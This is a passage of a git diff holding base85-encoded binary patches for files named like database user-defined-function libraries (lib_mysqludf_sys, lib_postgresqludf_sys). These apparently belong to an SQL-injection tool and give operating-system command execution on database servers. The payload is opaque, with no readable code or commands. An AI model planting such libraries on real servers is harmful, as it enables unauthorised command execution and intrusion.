zebo6T53SjfDx}XUacJgInIG(?#-rt?wUE$Iy6nFB4q&@otI^ZMVX|#T7`^>wHi<9# z_4coROXFas_O86sg}nV)t)`CxbYiRZ=xRpoV)N#qe|NV8mjBnOaMH7`E`x!4n<=uQ zzOZzIh!We1OD5IUjqNXUYly(mzJ~ zjHo>Cr3(8%r{$!avci$MljW*;-Ftux*frt(TL;`k3iOSgNI*+n1Ms&wVwJN%5$NRY zD+8+VJoRv736LO_j@sPmJXh<6J#88s=F+=5e0ugUi*BaC)Mc*olz^ePWc7zG-CNym zESL6OfA2~`13y3 zvQG#)9`=&JDW0%8#f^rY&;fk88Z2&N@{+Hicz*q#I9G?#vc{e~Xd`SO^RyXAqzRXQ z+4m?h*@10WV`Mf=mr~r4p|m%C@H|q?^;2iJbrtP2s1&X|8?FvzZ| z-WfaRI|86&+$VD@0ISp}gad7gM!3Um9%ZgIii7fZVQRx|;se;xqj7~(ks%b7RrzRs z-$kuR21hQ8Qm-6wNMve~wY&aYx$)t;L1WM_V^fq;361h~NtwICUD1VGqVkZCTptg) zK)whJ_Nv|+wu~HzC+qR{BfQc-dsmz4#%312RB7B9Y1UnfwQv@l|%B-J%e zIYl$Ku%%f_Jjo5Y;MF8tshHp5=FNf$y!%<^tTw>qHS2A%pAxbf8fp5J@E(mmahCbv zj^O4fD6eJ`%7z?xw`+io>=-imXc>9_>uyaJHj&S@87woU3Pbt%=9Lv=+hq)vHP`fx zHng>_XRTQfHB=vuk&KCQ(9Y|b2(24Bxv>r*&K9V^DGX;=>k){Sz-Px)6Pw;q#Mp)H zYBDsBl6C&4#s1&k&%w|(y|KCbVfz(4xun{I=Nf+J+bw;Yq|eh;pqZD<|LfS9n4=C& zlti6hkE%h_l)teF#S)##ikDo8&V&)_stC8`rn|SwzC|#m2O%Hw&#}wAGekbCmC;C% zWQ^~sfO`~sA`>wFCB0->&cDry&Z{qc*yYE~qx{0Xf02s@46W-ozg39ZZqAUWv1QVb!OCZBcTNXJ=WFVb_HAmtRMUI%V@0h8}8fyH0UH{>7U1yst`oX|T>{Bf+#UHET6$O`Gf(^uP2&Ke>|!`l99<@P z5?77s^+nM1l!t%p9_B4YTL&R>z&tuk9e#%-{o*O)V_{w3RcP2HL_XXFQeRec&emAz zG>)?oFI<#g1n(uDo-Si>>`d=q2hf991e5pZJqXB#PA*W4BD}X7@aW)c}S+TK+F^XRV`swfqHLx z8&Eh{k`tr(13ou+_}crO`~`Ja$d>9cs|(Q!fQ5|6J2RVwN#YWf0|CAM4$6?!Xy+Gh zIuYs~9J$Ati5q;wG)Aec|U&+#|}{=sl>lOv<0v=NqMjxWL(Zav9Z1ya`mCwR-I*{e>s! z`a4fLw)B>-QhVhF;+ga;!-8hEhXEJvY}}pRa&5mnKRI2}UzQRsB<9r=qZcR9nNjC` zg#5-p)0rr1~k_hN1(+xkdyQaZ;Yr+e5<#6Gt@}!cN-dEf0Z9P+{fb6yV!p) zvDArGZw7#2$f9k7cBkY-ns7SB(3(yYjCGSgr|2F z*q*==*V9Y6rGbuigiTLND6t2GyvBp-0jJ<7br9e4fN2ux%L$!)rD?3qGN}96fe3tS z*4Bz2ADIaYOA4IAqmQ9L@*2l03-Zr>EXQA>4=)+@0hz0R-Xo zSq@*>s1B8STpEy=7%CqC3Lyw*@pHv7!af5LiJ#8SNJ|Fx9b}pw3HLeIV}B#+7Q67{ ziU9VN&)hPYK#Jm5sY~mq)@PnKih`Xa-No`D-hsiP9Rx+-#yR*=MxE)@Q`pE0yf^AB%ocl=0Y&qKJ(Z=HN}55Tu$gbE;E@Upiv42VgGwywp{ z`w<*=f>`VF-Nm;r}+U8ZD;EaU`O@8Oc_v znkX%~Up0ktBq%Y-Q|RsFFVCM@$abbSI}Qc_8vu8p{~mo@d`SYY&!L}aD1SCRIVuN? z-ofdH26;{#R<8@IA~ysvXntc*$=HZByWzANxM@%Dju7rlrSdcf%*=B7~nVqLYG_2YWadx@;Q=C(Jj+C!UFwC6KoJa&a(KN3B-hEUOL7Tx|UydCE znF)7Th_?$MTwQ8W`vcqV*TtH4Txh1{TN_!Q_73`Yt~OrCL#k1^*^5>CLwB5kP-eKU z9b0L4iSN)iGabw19&2$G)a94turWW@kS<7tP-RsEXw_6P8LelWzCeZ#{& z{M-$!=sSVQK!)}oa*Re8asnAgvJFxWImS(ZVl033B+7fs&R4E44nbCJlzV14Yd|MU z*ilHp<{=&5Ss=762}2baZC46HI=5DI)@^99Tn@Hbonx4?t1((qwv%e3HA-l4{ZMD3m&>Q>Jo0lVd<-dL` jU2-t0hW4}%u;1e?)Q=8(#McOcrCrFK literal 4549 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 diff --git a/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ b/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ index 33a7adbe0c5aac30cfce5fb2328ab75893282d0b..97799b69d4d90f2a7cf04830079c57360a746cc5 100644 GIT binary patch literal 5267 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 ZlGPi|X_W;Jf=4LM^t`H+R!3m}*r}hYE&%`l literal 5267 zcmV;E6m07~(z;7JAwDA0_4p-Fcg{`sOIzqk{m7k94s~~9Mt5k>M0R>xv5LdlBD2im@ zg^IpCvMn*29qpKTgLx_m3_SaS&!F3guIN9aY=5+40soHz9xp%z`dWC+gK-a*2vt%| ziZ)10PGPxoDMb*p3wIAZ`g?22*1m}wZ?l&@9FPOlSti$wMVWVHt{wcB9c0T8J%oPTs~t1)`Ir^{?tb-7--a}v^5G|OjPeL zR`pox7$EO%dd$vJU@s4BRK}pl#Sd8ABpIqLq9OOT{1oWPJ+#IE7p-YY@mddF?`kcr z|6Dqm3C(oT?;FDlbIL62@h4sV2#wK-ojt}LBs(!|k}7Vc*-B0JUq0g5PH0OQQuru{ znEPV=jqmT+H_-?FwF}GP;KI7Il2M@TZJV`&qPjQrhKQy3@XkaorV^v}-Z9JmykQqZ zG+nk67_9r4-fkGbVxm&@#EBH_YTj{JIog8Huy)Dt8yp5%phCQnT@^%al7j;I> zbOhvp8bM?qe?D7jj?4!q#dsLgSPR8zA)W0V6HcsO4|t=Vgcv=EUQZriJ>+ZS%3+b5 zRe!lF$RctMK^P4RPYkKn#de0Wax^b}?POk0*Xw+$7>6eB#?alw!!(jRK;_t4%8n9> z?3|xZK+A_tk=pjcjBOM)%fN&Gg6m}l;kpb8u}j8%cb#c4@{oN#oMrx%0%FPYNTl+>mD6Wkjt|62_Jmf5#H zq25(0sSl^qfY@SgCeA59{HUKF5J}5AwnBn=k%5h>I>za$EI55Lk?8)pn7_`-`p7e= z6}{!5f7V<|XFun$o}b=KxK-}O0?!$vbk@@auprPI8z1ovS z=7^rkf8CXY48S|ldauL<5efRqFKdrJ=6ixGnU4u+`Mb;z3 zo028oFic>$ZUwh+-Tu1}p0piDtQyh$Tb|wuu;4EL&^YZGVH72R05F+E2dvYl`piwV z(R6Kc5QK^?LgDC_Aq@a>v^n9p%(5)sT(IsqCF|guG0?Xe#@Y&E zAh>`&zrRqqv2AFR3jZwYg}4nQ@}Qm$A%ZeyP8Wj{mEY!0P#cf3DI4GUII!YHi({X-Dg{KQYW0kzXaMOL za>u*E*E??#f3JK@ViNiCD9tQNe;0D$d!?-7by8)8T?j0ta2K|1u_Q8LB!Ggva7+#* z%rS?I{R$*2Mpn3jRH!I|VDqR3)ckM^?^557ZIcyI_q$7dnW3iS{$ezDQw1LO08HE! z+8@~SEFD28t#tFi(m5Vo_q5Lb^V4R3hJa&SPVPfX+VLdJcBiJ{DE~rLyluiELpHx<^(@qKczbI*+G8XTV*T+GdItDFMr=tpul~DeoIE-?q~$Hd zPj*OB1NzwZr*M3zjTF`}>Cl-yLXMorboM)ESUH=a;Ug$N#I6w+8f=4q-am93y%z7k zaAu;rxJ0z*%c`kMf4wh^Ap#-@ZVwK{Y+d=nzEoVP!n3XiRISsh2fi>{f^-~Wz=TTb zi0*0R4>u_WdlIY7wb#s{@V4zng9q26HAKa$uFfhyHBg$HP|1JemdLM6Z(7-lHtZZZ zgPTLVbqL)nw-!2G?E}uTToo;H7vx>nja%5!sprB zMh&4q%N{8aP16Y0+^M?gJT}~JgAYE(3lZw$_WLZYHxj*_V>>(N9$zV1eRAULQOv%m zrltu`jlj2NkrZ)+O&Gb>oveJ1@Fwbwy0A&C!PVN6brj>>J&A$4W<3v-ESXkvJ}N@y zccZ0OWm2}sA<0T=K=1H6eX!>?RvP-S7|&wbSm-R;iM(b?cQyJ%R(zZc_${lo9jJ7; zON{E!8Per;(IJBRqfCQDMI8Qoty^dGZ@@k^mfl zeL?!AnVKgJrpcHL%H?;^U?eBCozF9upJq15frxku@C%5=vjy`{F}>=3*M-57cqRq@ zD%mD6k#^~zO}MXR_^ny*-dE`RIp(^O|KDLC>&mWs0tB5yESeywwgGYZn<@Bxi1WB7 zrQPo12Gpsu4UKjDOy;-}rXOlWhZ}cdVCO-EoAJsWH(y>fHWpI!QM+zPac3 zcWS$>vI46^(ir13FdN3CO{CSoH(a3j`rhmb5s)`pZCzO!&c?i8Ot&{L#IFSHu*u)z$yKmO(8yskEf_g#BFh`;R`eGy{|? zoxr}fD?>cN4{Sw5EC?^nAee-*i>V6Gvl$bHCwJ1$!$XbaY{0;}|X=`kRS(HJyy!2lf&d zg}YT3NYn|3zs6F>69;m#bC{ruy&n-M+$l|TF>{|1ZJqunGDvJZ_#tfs|HCu(+QHUk z93-*aKwQQ;y3##!bqL=PGI=LcePdE=O?)L=l=Wvw=y{}bOELnv%||b9&_}?Q@keXw z$9H1F#+yb6`G_sr{s#<27?b&3NWlJrp-X6hH^q$?%kM|tgDQQk$&IFh12n-kDx^NR zFKEGUJyJq#aZfe7LZv8BU2imlf?Aa<@U5swm5=mJBtDH^{z`jmF8?xN+U6{gZx!nAx+E*QPSu)nBkDTZVcO<*IOvR5j57qrz% zU5fcUDOl{@YvS%x35qf;FVwJjG;AYNozLhly^Qh0jJ}e~b~T$^xQeT1A22JTbRi_I z&WoWDjcu3>`~=E&u8o)E1xk?H6&dOGiw$r7`{-oobx3QZB*R)tpQO0V{fxsZEf!g> z)GCz$`}j;@kV$G;+Eq1t>nBHDTSp>0nUC0qkLrEx*6n?i@1A-a76HoutL+H?M0ST@YQMG&d?bZppE@nHlL!Z3*bTpqSV z?}0r?NUfjh-2Y?F83AjP`1h|?i70i~W|+j*B_yc)Q68#pvieAJ}h;tU95 z-k1be(luOnKmD2+?^N4rhXx*M^?Cu$EzTI#k;+0`7cMKNMgm?3fm|nxpao8VXxc$4 zxJcZFLnjTXB>3ziIPthhf3q7iZR;zg*)NCR@@tZk_Nb2@tuWmK5Ux^~;@?qRV6eC}hLrB&2q83+qBO9LF*$D8GDNnKMUt0bzlx-k-&W#X z(k|K3I|3m#%kM8#VMt~={t0jk>@0Yw4C}btNgEXdgXNYsnoa#48ZY^B>A}cS#R}YnEnCwj=Slkc8}XKWR$x zS@einJ^yh#?*|-@^f_m<4fa=B#(M<~-+M>(wv56PdYSfi*k-EE_(ro5fN7{6)gUtu z&wJ+8BKjFfYa@@oPdk2as|hNX^G|wprJ}ELaZ`F=< zCi{oa&!X$P7n!vP+vmmcgr5)&;dzzl&cDiIZTMe>1}wCE)Aj@aK^d4hFgeg?br)87 zQ%&$T9nE%Or(kdC?HF%mxwe`-dS&8(Ur7tvevs1QpKb68;Huxk|M_`L=uu}ipi^?b z>jO7HDubY6>m%?Y(3K32GLM1G&bYj~8q6z|_agH)FLC^8gHXwC@Jd z?gV$Ftkn`%KMb3sMovc825SPCB7+$joCKG-74E6$WU2rCXP$fuE_J6xeeubjA^MvhH=Dwe+{%B)W zo@ukdW1mh*!}Z~K)$;Skx9WA6&7!nqRQ!a2ns|j3im2_3^eoSC@1#P>@c@xC zXr^*HNle9Xs4xVtWJ;BXeuH1VQlVjfO#svnEfLv#TK<;EPT9-v$d$mCzl+ZEri!A+ zyT3&^nKM0n^PT4@fWdi9{)bQ~16Qqn^9G){u77=8Yd7Z^B4!nTkQ`OLpK5paPv2$h ztPc!pkoPp;8i%f30oplT(0e;|foC!f$|md==0eKL#yxcIUdugjsw3Jdx=1h4Qag6e z>=?vpoWexwsa0vlwBtkU-vQw{e|1s|zxX>-r=ctZUdyty%JFG0M+N&eJ0~RRE#e$+ zL5?jfH3t=n@?lpqkK`+Iu{Gd4@W0+6MXpxeOAIKo>q@fm0^?rnX6WC-SPjTgJJsP7 z?^btlC^dc0pN9}sk#;pC)HUFn>mU17c0_zu5prNlL_qYX0YlwuHeSbO#B#j8nWsFu zt+=bUHKOx|KfFyv$h{3XW=;kCf$E3OlxuglTVzWlf5tNvqX;HS41pI{8GAmb{%KM{ zx|%q+nK!j=p5^-ID{ZZB%d4v2M#@e+PJ3Zs&;^hkX!26rNn)2OFn(F^?SpWt2^a>D z7)%XdSoD;O+Q$JKY$Id7p;18-_T7GLC{s6;OjyMciOJEisZD3lz8VvNn5q ZsPGle5w#>PtwK4Q_nnufY+`Qzpov^FKI;Gg diff --git a/data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_ index f7e6da36499b5a9f2b660df902fc8f4faaee8fdb..33dbdeeb35bc711bd555536cba564cdbf2705663 100644 GIT binary patch literal 2639 zcmV-V3b6G(s+tQ4CVP`5_s{?s=@`mKGJlE!NF^6iN@G=XL|?&@F6Wa?$m7%%0tC~? z-DL^}T~+cbEAO62)x(+ z9V`SZtV_9>@-Y#u9*FazM}WNF?b7=M-j24a9cvsHMrL@5k+2Zv66Dt(|KXo7niy+T z2F(yMaOk;vbF=sl-KPR?9J`=OE7F4h#T8)|zmrt&$UPF z;ytOomgMfmsGz>bJq5oXEWHCXZ%hr(V=jCON&vR%`x7GHc1mD($;vS>8?o#ULtSWj z6f~8t^p(jQ-Ij3H)QgIqGLrc8T$7uUfib77YGfjCw)niD;|Mid2-Uvj-9M}3;Q0-M z7o+gpCp2uB;=yhL>zl$pv#xo*0 zMc6cHB?V2GNxZO~seSCo4o|YAn(r(`&1$*M(EpcHky)bZ<3~Z}%u)-Dsa42*I9Jl8 zoB-P{Cg^ohD4Pf3v#I%#j*IZW0p2{Gk`W4Q+UY%>W3J&x)CKpYMH;y6#4#-FC!PLR zc=MzwmyYnt;f#;(2k?!9S~(3aLOUn!Q}BVaVYz2J_sNS4_5Lo4 zq4S>x$emzA+;4Wk>*hTzcllTX7Sx}JifR4d$Wbob>)o8M!(jEToxm&AX2*%$xMdL; zhV8AmDrt>mq23YUuB`X@c-~7^iV!eGaOomiq-eq4~lQ-V5ahScNBk z<$rwar?caGvU-C<+YNcePF0P0N&ag5nQEp$yuPLo`gu+jMB-{LF%S z>IfL+k@1^rt}cxfIBqeTMrtR1HzqO`5u zYD`^_s!k}TgBTOgV-Z0JrQQoSxI;Ok+0SNz~kj|U1L&ks*C`AcoJ4_op12;FyoKt#N>6- z0=80Wm1t0&R9k0@-w`vJ>pd?uk!$HkMsDErHLJ?uO>;t1n}G_=BS=*nIO!Qn!zYC{ zAlypN!Rjjpu4zyRg*zXJfwGnHz4IC`hz#nb?36E@P3z|OxhRgp2<9n?oIeK#Qdi0f zw@7W*7brOJ3CtcOJew!>z`of0d#T%*RwYR7g^$D2&a*UN%$q8 zoe2qmt9CzfH(8&%bndXw3G>lJ6;}CgYsAgT0UF+kn}y9|^}qs~i-Y#_(Ull%xtg>U z1X`O|dy)Ake_}f3;MZ0-Gm&*CsEl&P-}1O5$dP)W!d7h^G&(^4JWkP 